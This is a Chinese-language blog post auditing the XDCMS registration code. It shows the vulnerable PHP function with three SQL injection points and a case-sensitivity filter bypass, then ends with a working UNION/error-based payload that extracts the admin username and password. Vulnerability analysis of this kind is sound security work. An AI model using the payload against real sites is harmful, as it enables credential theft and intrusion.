您的位置 » 首页 » 代码审计 » 代码审计:xdcms注册用户处SQL注入漏洞分析

代码审计:xdcms注册用户处SQL注入漏洞分析

发表于3年前 | 作者: seay | 分类: 代码审计 | 孵化于:2014年01月03日 | 文章热度:6,795 次 全屏阅读

显示不全请点击全屏阅读

最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致多处SQL注入

注入在XDCMS企业管理系统的注册功能处,来看看\system\modules\member\index.php文件:
注册时会调用register_save,问题就出在index.php的register_save函数处:
public function register_save(){ 
  
$username=safe_html($_POST['username']);//获取UserName,这里用safe_html函数进行过滤 
  
$password=$_POST['password']; 
  
$password2=$_POST['password2']; 
  
$fields=$_POST['fields']; 
  
if(empty($username)||empty($password2)||empty($password)){ 
  
showmsg(C('material_not_complete'),'-1'); 
  
} 
  
if(!strlength($username,5)){ 
  
showmsg(C('username').C('str_len_error').'5','-1'); 
  
} 
  
if(!strlength($password,5)){ 
  
showmsg(C('password').C('str_len_error').'5','-1'); 
  
} 
  
if($password!=$password2){ 
  
showmsg(C('password_different'),'-1'); 
  
} 
  
$password=md5(md5($password)); 
  
  
  
$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在,这里的UserName可被绕过过滤,导致注入,这是第一处SQL注入 
  
if($user_num>0){ 
  
showmsg(C('member_exist'),'-1'); 
  
} 
  
$ip=safe_replace(safe_html(getip())); 
  
$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码,这里的UserName同意造成注入,第二处sql注入 
  
$last_id=$this->mysql->insert_id(); 
  
  
  
//插入附属字段 
  
$field_sql=''; 
  
foreach($fields as $k=>$v){ 
  
$f_value=$v; 
  
if(is_array($v)){ 
  
$f_value=implode(',',$v); 
  
} 
  
$field_sql.=",`{$k}`='{$f_value}'";//这里没有过滤,直接进入了下面的update sql语句,导致第三处sql注入 
  
} 
  
$field_sql=substr($field_sql,1); 
  
$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}"; 
  
$query=$this->mysql->query($field_sql); 
  
  
  
showmsg(C('register_success'),'index.php?m=member&f=register'); 
  
}
第一处sql注入,注册一个用户,然后抓包:
最后看看结果,成功拿到了管理的用户名密码:

在safe_html处虽然过了个SQL注入的敏感词,还过滤了=和*,但是没有考虑SQL注入敏感词的大小写,这里只过滤了小写,那么我们用大写绕过,这里过滤的=和*,我们可以使用不带*和=的常规保存SQL注入语句,EXP如下:
在UserName处输入:
‘ UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 FROM (SELECT
count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM
c_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b#
 
作者:xfkxfk

Tags:

xdcms漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/3604/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有2个筒子的人留下了脚印...

  • 龙龙 说:
    1楼
    2014 年 1 月 4 日 上午 3:38 回复

    我去。。。 尿性。。。。 不过小菜问下,附属字段又不接受数据,何来的SQL呢? 求解释下 谢谢大牛。

    • 龙龙 说:
      2014 年 1 月 4 日 上午 3:42 回复

      似乎百度了一下,懂了一点,呵呵 但是只是懂了一点点。

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)